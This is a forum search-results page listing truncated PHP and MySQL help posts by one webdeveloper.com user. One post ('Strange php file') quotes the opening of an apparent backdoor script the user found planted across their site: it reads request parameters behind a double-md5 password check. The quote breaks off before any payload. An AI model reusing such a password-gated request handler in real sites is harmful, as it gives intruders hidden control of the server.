www.webdeveloper.com

Search:

Type: Posts; User: Alan P

Page 1 of 4 1 2 3 4

Search: Search took 0.02 seconds.

  1. Thanks to both of you for the information. It was...

    Thanks to both of you for the information. It was a great help! I'll study up on the sprintf function, sounds interesting.
    Thanks again.
  2. [RESOLVED] Mixing array elements with a variable string

    $lang = array(
    'city' => 'Dallas',
    'stateabb' => 'TX'
    );

    $title = "About {$lang['city']}, {$lang['stateabb']} USA";
    $title = "About " . {$lang['city']} . ", " . {$lang['stateabb']} . " USA";...
  3. I'll look into it. Thanks for the tip and the...

    I'll look into it. Thanks for the tip and the help.
  4. Yes, I believe the page you linked to said that...

    Yes, I believe the page you linked to said that the second parameter was the array to be searched, which would be $losers.

    I used "if (!in_array($user_agents, $losers, true))" which I took to mean...
  5. if (!in_array($user_agents, $losers, true)) ...

    if (!in_array($user_agents, $losers, true))

    The website owner wanted a visitor counter, but I didn't want some robots counted so I wanted to check the HTTP_USER_AGENT of those accessing the...
  6. [RESOLVED] Warning: Wrong parameter count for in_array() in...

    I'm getting this error on my page counter: Warning: Wrong parameter count for in_array() in... on line 14.

    Here's the code:


    $user_agents = getenv('HTTP_USER_AGENT');
    $losers = array(...
  7. I'm glad you were able to get it working. Is...

    I'm glad you were able to get it working. Is there any way to mark this thread resolved if it is resolved?
  8. Replies
    7
    Views
    6,249

    It depends on how you make your website and...

    It depends on how you make your website and pages. If you start getting "headers already sent" error messages then you may want to consider using ob_start and ob_end_flush.
  9. Replies
    7
    Views
    6,249

    I use this at the top of every page that I'm...

    I use this at the top of every page that I'm using sessions on or wanting to carry sessions over on:
    <?php
    ob_start();
    session_start();

    and this on the bottom of every page:

    ob_end_flush();...
  10. Your form does not set $email up as a POST...

    Your form does not set $email up as a POST variable that I see.

    You can simplify things a bit too, by just writing echo " And include everything you want then use "; when you're done instead of...
  11. The book PHP and MYSQL Second Edition by Larry...

    The book PHP and MYSQL Second Edition by Larry Ullman has a chapter creating such a program. It's based on PHP 5 and MySQL 4.1. You can probably pick it up a copy for a good price.

    People will...
  12. mktime() throwing errors - use time() instead

    I was using codes below to display months and years in a form but with a PHP upgrade it's throwing E_STRICT notice: errors saying I should use the time() function instead. How can I modify these code...
  13. Replies
    2
    Views
    1,277

    At first I thought it may have been something my...

    At first I thought it may have been something my hosting company put on, but when I got to looking around I found this same script in each one of my folders (even my htacces protected folders) and...
  14. Replies
    2
    Views
    1,277

    Strange php file

    Can anyone tell me what this script does?


    $r=$_REQUEST;
    $c=getcwd();
    $n=chr(32);
    print('468505ab9718d8c2205ea35d94f04668');
    if(md5(md5(@$r['p']))=='3829c383a1277bd6e7e108ab36f8f03c'){...
  15. Replies
    3
    Views
    744

    Something went wrong when I tried to edit my last...

    Something went wrong when I tried to edit my last reply.

    What I was trying to say is that in my actual script I had an "ORDER BY" clause and I had placed it before the WHERE clause. Simple...
  16. Replies
    3
    Views
    744

    I feel stupid... I had an "ORDER BY" in my actual...

    I feel stupid... I had an "ORDER BY" in my actual script and I had it before the where clause. It's working now.

    Sorry guys.
  17. Replies
    3
    Views
    744

    Use a decimal number in a search query

    How can I use a decimal number in a search query?


    $sql = "SELECT * FROM table WHERE amount=1.00";

    and

    $sql = "SELECT * FROM table WHERE amount=.65";
    I've tried this:
    $sql = "SELECT *...
  18. Replies
    5
    Views
    759

    I wrote my own CMS. I has an admin area where the...

    I wrote my own CMS. I has an admin area where the owner can easily add, edit, delete their information. It's small and fast. It's great because its just code, so I can easily insert it into any...
  19. Replies
    3
    Views
    1,690

    I was using a different content type. Working...

    I was using a different content type. Working now. Thanks
  20. Replies
    3
    Views
    1,690

    IE9 Not rendering span class

    I'm trying to use a span class for the first sentence of a paragraph to make it bold, larger font and different color. It works as it should in Firefox of course, and in IE8 but not in IE9.

    Is...
  21. Replies
    5
    Views
    1,479

    Thanks, I'll give it a go. I've seen dozens of...

    Thanks, I'll give it a go. I've seen dozens of websites that told the visitor that their browser must be set to accept cookies, so it shouldn't be a big deal.
  22. Thread: HTML with PHP

    by Alan P
    Replies
    4
    Views
    1,655

    When posting your code try and leave out your...

    When posting your code try and leave out your styling and any information that isn't necessary. For instance, Yours:
    <table width="661" height="254" border="0" align="center" cellpadding="3"...
  23. Replies
    5
    Views
    1,479

    Here's what I'm using on each page:

    Here's what I'm using on each page:
    <?php
    $page_title = "$page_title";
    $user_agent = getenv("HTTP_USER_AGENT");
    $ip = getenv("REMOTE_ADDR");

    include('scripts/mysql_connect.php');
    $sql =...
  24. Thread: HTML with PHP

    by Alan P
    Replies
    4
    Views
    1,655

    I use three pages with my forms: The HTML...

    I use three pages with my forms:

    The HTML form page.
    The error checking and look over everything page.
    The information processing page.

    When I'm using forms I'll have the HTML form on the...
  25. Check to see if results are returned - if so...

    Check to see if results are returned - if so display information, if not display message.


    echo "<table width='500' border='0' cellspacing='0' cellpadding='2'>";

    $query = "SELECT * FROM...
Results 1 to 25 of 100
Page 1 of 4 1 2 3 4
HTML5 Development Center



Recent Articles